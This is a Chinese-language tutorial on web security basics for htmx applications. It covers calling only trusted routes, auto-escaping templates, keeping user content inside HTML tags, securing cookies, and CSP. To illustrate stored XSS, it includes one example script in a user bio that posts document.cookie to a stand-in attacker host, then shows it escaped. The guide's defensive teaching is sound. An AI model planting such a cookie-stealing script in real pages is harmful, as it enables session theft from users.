Web 安全基础(使用 htmx)

Alexander Petros

随着 htmx 越来越受欢迎,它已经触及到那些从未编写过服务器生成 HTML 的社区。动态 HTML 模板曾经是(现在仍然是)许多流行 Web 框架(如 Rails、Django 和 Spring)的标准使用方式,但对于来自单页应用(SPA)框架(如 React 和 Svelte)的人来说,这是一个新概念,因为 JSX 的普及意味着你从不直接编写 HTML。

但别担心!使用 HTML 模板编写 Web 应用程序的安全模型略有不同,但它并不比保护基于 JSX 的应用程序更难,而且在某些方面要容易得多。

本指南适合谁?

这些是使用 htmx 的 Web 安全基础知识,但它们(大部分)不是 htmx 特有的——如果你在 Web 上放置任何动态的、用户生成的内容,了解这些概念都很重要。

阅读本指南,你应该已经基本掌握 Web 的语义,并且熟悉如何编写后端服务器(使用任何语言)。例如,你应该知道不要创建可以改变后端状态的 GET 路由。我们还假设你没有做任何超级花哨的事情,比如创建一个托管他人网站的网站。如果你在做类似的事情,你需要了解的安全概念远远超出了本指南的范围。

我们做这些简化假设是为了覆盖最广泛的受众,而不包含分散注意力的信息——显然这不可能覆盖所有人。没有哪份安全指南是绝对全面的。如果你觉得有错误,或者有我们应该提到的明显陷阱,请联系我们,我们会更新它。

黄金法则

遵循以下四条简单规则,你将遵循客户端安全最佳实践:

  1. 仅调用你控制的路由
  2. 始终使用自动转义的模板引擎
  3. 仅在 HTML 标签内提供用户生成的内容
  4. 如果你有身份验证 Cookie,请设置 SecureHttpOnlySameSite=Lax

在接下来的部分,我将讨论每条规则的作用以及它们防范何种攻击。绝大多数 htmx 用户——那些使用 htmx 构建允许用户登录、查看一些数据并更新该数据的网站的用户——永远没有理由违反这些规则。

稍后我将讨论如何打破其中一些规则。许多有用的应用程序可以在这些约束下构建,但如果你确实需要更高级的行为,你将完全意识到这样做会增加保护应用程序的概念负担。在这个过程中,你也会学到很多关于 Web 安全的知识。

理解规则

仅调用你控制的路由

这是最基本也是最重要的:不要用 htmx 调用不可信的路由。

在实践中,这意味着你应该只使用相对 URL。这样是可以的:

<button hx-get="/events">搜索事件</button>

但这样不行:

<button hx-get="https://google.com/search?q=events">搜索事件</button>

原因很简单:htmx 将该路由的响应直接插入用户的页面。如果响应中包含恶意的 <script>,该脚本可以窃取用户的数据。当你不控制该路由时,你无法保证控制该路由的人不会添加恶意脚本。

幸运的是,这是一条非常容易遵循的规则。超媒体 API(即 HTML)是特定于你的应用程序布局的,因此你几乎没有任何理由想要将别人的 HTML 插入你的页面。你所要做的就是确保只调用你自己的路由(htmx 2 实际上默认会禁用调用其他域)。

虽然如今不那么流行了,但一个常见的 SPA 模式是将前端和后端分离到不同的仓库,有时甚至从不同的 URL 提供服务。这需要在前端使用绝对 URL,并且常常禁用 CORS。使用 htmx(公平地说,使用 Next.js 的现代 React 也是如此),这是一种反模式。

相反,你只需从与后端相同的服务器(或至少是相同的域)提供你的 HTML 前端,其他一切都会水到渠成:你可以使用相对 URL,永远不会遇到 CORS 问题,也永远不会调用别人的后端。

htmx 执行 HTML;HTML 是代码;永远不要执行不可信的代码。

始终使用自动转义的模板引擎

当你向用户发送 HTML 时,所有动态内容都必须被转义。使用模板引擎来构建你的响应,并确保启用了自动转义。

幸运的是,所有模板引擎都支持转义 HTML,而且大多数引擎默认启用它。以下仅举几个例子。

语言模板引擎默认转义 HTML?
JavaScriptNunjucks
JavaScriptEJS是,使用 <%= %>
PythonDTL
PythonJinja有时(在 Flask 中是)
RubyERB是,使用 <%= %>
PHPBlade
Gohtml/template
JavaThymeleaf
RustTera

这种漏洞通常称为跨站脚本攻击(XSS),这个术语被广泛用于表示在你的网页中注入任何意外内容。通常,攻击者利用你的 API 在你的数据库中存储恶意代码,然后当你其他用户请求该信息时,你会将这些代码提供给他们。

例如,假设你正在构建一个交友网站,它允许用户分享一点关于自己的简介。你会像这样渲染该简介,其中 {{ user.bio }} 是存储在数据库中的简介:

<p>
{{ user.bio }}
</p>

如果恶意用户写了一个包含脚本元素的简介——例如一个将客户端 Cookie 发送到另一个网站的脚本——那么这个 HTML 就会被发送给每个查看该简介的用户:

<p>
<script>
  fetch('evilwebsite.com', { method: 'POST', body: document.cookie })
</script>
</p>

幸运的是,这个问题很容易解决,你自己都可以写代码修复。每当插入不受信任(即用户提供的)数据时,你只需将八个字符替换为它们的非代码等价物。这是一个使用 JavaScript 的例子:

/**
 * 替换任何可能用于在 HTML 上下文中注入恶意脚本的字符。
 */
export function escapeHtmlText (value) {
  const stringValue = value.toString()
  const entityMap = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '/': '&#x2F;',
    '`': '&grave;',
    '=': '&#x3D;'
  }

  // 匹配 /[ ... ]/ 内的任意字符
  const regex = /[&<>"'`=/]/g
  return stringValue.replace(regex, match => entityMap[match])
}

这个小小的 JS 函数将 < 替换为 &lt;" 替换为 &quot;,依此类推。这些字符在文本中使用时仍然会正确显示为 <",但不会被解释为代码结构。之前的恶意简介现在将被转换为以下 HTML:

<p>
&lt;script&gt;
  fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, data: document.cookie })
&lt;/script&gt;
</p>

它会无害地显示为文本。

幸运的是,如上所述,你不必手动进行转义——我只是想展示这些概念有多么简单。每个模板引擎都有自动转义功能,而且无论如何你都要使用模板引擎。只需确保转义已启用,并将你所有的 HTML 都通过它发送。

仅在 HTML 标签内提供用户生成的内容

这是模板引擎规则的补充,但非常重要,值得单独指出。不要允许你的用户定义任意的 CSS 或 JS 内容,即使使用了自动转义的模板引擎。

<!-- 不要包含在 script 标签内 -->
<script>
  const userName = {{ user.name }}
</script>

<!-- 不要包含在 CSS 标签内 -->
<style>
  h1 { color: {{ user.favorite_color }} }
</style>

而且,也不要使用用户定义的属性或标签名:

<!-- 不允许用户定义的标签名 -->
<{{ user.tag }}></{{ user.tag }}>

<!-- 不允许用户定义的属性 -->
<a {{ user.attribute }}></a>

<!-- 用户定义的属性值有时可以,这取决于情况 -->
<a class="{{ user.class }}"></a>

<!-- 转义后的内容在 HTML 标签内总是安全的(这是可以的) -->
<a>{{ user.name }}</a>

CSS、JavaScript 和 HTML 属性是“危险上下文”,在这些地方允许任意用户输入是不安全的,即使它已被转义。转义可以在这里保护你免受一些漏洞的影响,但不是全部;这些漏洞多种多样,最安全的做法是默认不做任何这些操作。

将用户生成的文本直接插入 script 标签永远没有必要,但确实有些情况下你可能让用户自定义他们的 CSS 或自定义 HTML 属性。正确处理这些情况将在下面讨论。

保护你的 Cookies

使用 htmx 进行身份验证的最佳方式是使用 Cookie。由于 htmx 主要通过第一方 HTML API 鼓励交互性,因此启用浏览器的最佳 Cookie 安全功能通常非常简单。特别是这三个:

为了理解这些保护你免受何种攻击,让我们回顾一下基础知识。如果你来自 JavaScript SPA,通常使用 Authorization 标头进行身份验证,你可能不熟悉 Cookie 的工作原理。幸运的是它们非常简单。(请注意:这不是“使用 htmx 进行身份验证”的教程,只是对 Cookie 令牌的一般概述)

如果你的用户使用 <form> 登录,他们的浏览器将向你的服务器发送一个 HTTP 请求,而你的服务器将返回一个类似这样的响应:

HTTP/2.0 200 OK
Content-Type: text/html
Set-Cookie: token=asd8234nsdfp982

[HTML 内容]

该令牌对应于用户当前的登录会话。从现在开始,每当该用户向 yourdomain.com 的任何路由发出请求时,浏览器都会在 HTTP 请求中包含来自 Set-Cookie 的那个 Cookie。

GET /users HTTP/1.1
Host: yourdomain.com
Cookie: token=asd8234nsdfp982

每次有人向你的服务器发出请求时,它都需要解析出该令牌并确定其是否有效。足够简单。

你还可以在该 Cookie 上设置选项,比如我上面推荐的选项。具体操作方法因编程语言而异,但结果始终是一个如下所示的 HTTP 响应:

HTTP/2.0 200 OK
Content-Type: text/html
Set-Cookie: token=asd8234nsdfp982; Secure; HttpOnly; SameSite=Lax

[HTML 内容]

那么这些选项有什么作用呢?

第一个选项 Secure 确保浏览器不会通过不安全的 HTTP 连接发送 Cookie,只通过安全的 HTTPS 连接发送。敏感信息,如用户的登录令牌,永远不应通过不安全的连接发送。

第二个选项 HttpOnly 意味着浏览器永远不会向 JavaScript 暴露该 Cookie(即它不会出现在 document.cookie 中)。即使有人能够插入恶意脚本,比如上面的 evilwebsite.com 示例,该恶意脚本也无法访问用户的 Cookie 或将其发送到 evilwebsite.com。浏览器只会在向 Cookie 来源网站发出请求时附加该 Cookie。

最后,SameSite=Lax 锁定了跨站请求伪造(CSRF)攻击的途径,即攻击者试图诱使客户端的浏览器向 yourdomain.com 服务器发出恶意请求——比如 POST 请求。SameSite=Lax 设置告诉浏览器,如果发出请求的站点不是 yourdomain.com,就不要发送 yourdomain.com 的 Cookie——除非它是一个普通的 <a> 链接导航到你的页面。这在 2024 年基本上是浏览器的默认行为,但直接设置它仍然很重要。

在 2024 年,SameSite=Lax 通常足以 防范 CSRF,但对于更敏感或更复杂的情况,你可以考虑额外的缓解措施

重要提示: SameSite=Lax 只在域级别保护你,而不是子域级别(即 yourdomain.com,而不是 yoursite.github.io)。如果你要做用户登录,在生产环境中应始终在你自己的域上进行。有时 公共后缀列表 会保护你,但你不应该依赖于此。

打破规则

我们从最简单、最安全的实践开始——这样错误会导致用户体验中断,这是可以修复的,而不是数据被盗,这是无法挽回的。

一些 Web 应用程序需要更复杂的功能和更多的用户自定义;它们也需要更复杂的安全机制。你应该只在确信绝对必要且所需功能无法通过替代方式实现时才打破这些规则。

调用不可信的 API

调用不可信的 HTML API 是愚蠢的。永远不要这样做。

有些情况下你可能想从客户端调用别人的 JSON API,这是可以的,因为 JSON 不能执行任意脚本。在这种情况下,你可能需要对这些数据做一些处理,将其转换为 HTML。不要使用 htmx 来做这个——使用 fetchJSON.parse();如果不可信的 API 耍花招,返回的是 HTML 而不是 JSON,JSON.parse() 只会无害地失败。

请记住,你解析的 JSON 可能有一个属性被格式化为 HTML,例如:

{ "name": "<script>alert('Hahaha I am a script')</script>" }

因此,也不要将 JSON 值作为 HTML 插入——如果你在做类似的事情,请使用 textContent。不过,这已经超出了 htmx 控制的 UI 范畴。

htmx 的 2.0 版本将包含一个 textContent 交换选项,如果你想直接从客户端调用别人的 API 并将文本放入页面。

自定义 HTML 控件

与调用不可信的 HTML 路由不同,有很多充分的理由让用户做动态的 HTML 格式化内容。

如果,比如说,你想让用户链接到一张图片?

<img src="{{ user.fav_img }}">

或者链接到他们的个人网站?

<a href="{{ user.fav_link }}">

默认的“转义一切”方法会转义正斜杠,因此会破坏用户提交的 URL。

你可以通过几种方式解决这个问题。最简单也最安全的技巧是让用户自定义这些值,但不让他们定义字面文本。在图片示例中,你可以将图片上传到你自己的服务器(或 S3 存储桶等),自己生成链接,然后包含它,不转义。在 nunjucks 中,你使用 safe 函数:

<img src="{{ user.fav_img_s3_url | safe }}">

是的,你包含了未转义的内容,但它是一个你生成的链接,所以你知道它是安全的。

你可以用同样的方式处理自定义 CSS。与其让用户直接指定颜色,不如给他们一些有限的选择,并根据他们的输入设置选择。

{% if user.favorite_color === 'red' %}
h1 { color: 'red'; }
{% else %}
h1 { color: 'blue'; }
{% endif %}

在这个例子中,用户可以将 favorite_color 设置为任何他们喜欢的值,但它最终只会是红色或蓝色。一个不那么简单的例子可能确保只有格式正确的十六进制代码才能被输入,使用正则表达式。你明白这个意思了。

根据你支持的自定义类型,保护它可能相对容易,也可能相当困难。有些属性是“安全接收器”,这意味着它们的值永远不会被解释为代码;这些很容易保护。如果你要在“危险上下文”中包含动态输入,你需要研究这些上下文危险在哪里,并确保那种输入不会进入文档。

例如,如果你想允许用户链接到任意网站或图片,那就要复杂得多。首先,确保将属性放在引号内(大多数人无论如何都会这样做)。然后你需要做一些事情,比如编写一个自定义的转义函数,转义除正斜杠(可能还有 & 符号)之外的所有内容,这样链接才能正常工作。

但即使你正确地做到了这一点,你也引入了新的安全挑战。该图片链接可用于跟踪你的用户,因为你的用户将直接从别人的服务器请求它。也许你对此无所谓,也许你包含了其他缓解措施。重要的是你要意识到,引入这种级别的自定义会带来更复杂的安全模型,如果你没有精力去研究和测试它,你就不应该这么做。

JavaScript SPA 有时通过将令牌保存在客户端的本地存储中,然后将其添加到每个请求的 Authorization 标头 来进行身份验证。不幸的是,没有办法在不使用 JavaScript 的情况下设置 Authorization 标头,这就不那么安全了;如果它对你的可信 JavaScript 可用,那么如果攻击者设法在你的页面上放置恶意脚本,它也对攻击者可用。相反,使用 Cookie(具有上述属性),它可以完全不接触 JavaScript 就能设置和保护。

为什么有 Authorization 标头却没有通过超媒体控件设置它的方法?嗯,这只是 WHATWG 的令人发指的疏忽小谜团之一。

如果你正在验证用户的客户端与一个你不控制的 API,你可能需要使用 Authorization 标头,在这种情况下,适用于不受控制路由的常规预防措施同样适用。

额外内容:内容安全策略 (CSP)

你还应该了解 内容安全策略(CSP),它使用 HTTP 标头来设置有关你的页面允许运行何种内容的规则。例如,你可以限制页面仅从你的域加载图片,或者禁用内联脚本。

这不是黄金法则之一,因为它不容易普遍适用。没有“一刀切”的 CSP。一些 htmx 应用程序利用了内联脚本——hx-on 属性 是一个通用的属性监听器,可以执行任意脚本(尽管如果你不需要它可以禁用)。有时内联脚本适合在充分防范 XSS 的应用程序中保持行为局部性,有时内联脚本不是必需的,你可以采用更严格的 CSP。这完全取决于你应用程序的安全状况——这取决于你是否了解可用的选项并能够执行该分析。

这是一种倒退吗?

你可能会合理地怀疑:如果我以前在构建 SPA 时不需要了解这些,那么 htmx 在安全方面是不是一种倒退?我们要挑战这个说法的两个部分。

本文无意成为对 htmx 安全特性的辩护,但在许多领域,超媒体应用程序默认比基于 JSON 的前端安全得多。HTML API 只发回应渲染的信息——未预期的数据更容易“隐藏”在 JSON 响应中并泄露给用户。超媒体 API 也不适合在客户端实现通用查询语言,比如 GraphQL,这需要一种巨大更复杂的安全模型。各种缺陷都隐藏在应用程序的复杂性中;超媒体应用程序通常复杂度较低,因此更容易保护。

如果你要在 Web 上放置动态内容,你也需要了解 XSS 攻击。一个不理解 XSS 工作原理的开发者不会理解使用 React 的 dangerouslySetInnerHTML 有什么危险——而他们会在第一次需要渲染富用户生成文本时就去设置它。让这些安全基础知识尽可能容易被找到是库的责任;而学习并遵循它们一直是开发者的责任。

本文旨在让你在保护 htmx 应用程序时进入“成功陷阱”——遵循这些简单的规则,你就不太可能编写出 XSS 漏洞。但是,如果你拒绝学习任何关于安全的知识,那么编写一个安全的 Web 应用程序是不可能的,因为安全就是控制对信息的访问,而向计算机精确解释谁有权访问什么信息永远是人类的工作。

编写安全的 Web 应用程序很难。在路由、数据库访问、HTML 模板、业务逻辑等方面存在许多容易掉入的陷阱。然而,如果安全只是安全专家的领域,那么只有安全专家才应该制作 Web 应用程序。也许应该如此!但如果只有安全专家在制作 Web 应用程序,他们肯定知道如何正确使用模板引擎,所以 htmx 对他们来说不会有任何问题。

对于其他人:

  1. 不要调用不受信任的路由
  2. 使用自动转义的模板引擎
  3. 只将用户生成的内容放在 HTML 标签内
  4. 保护你的 Cookies
</>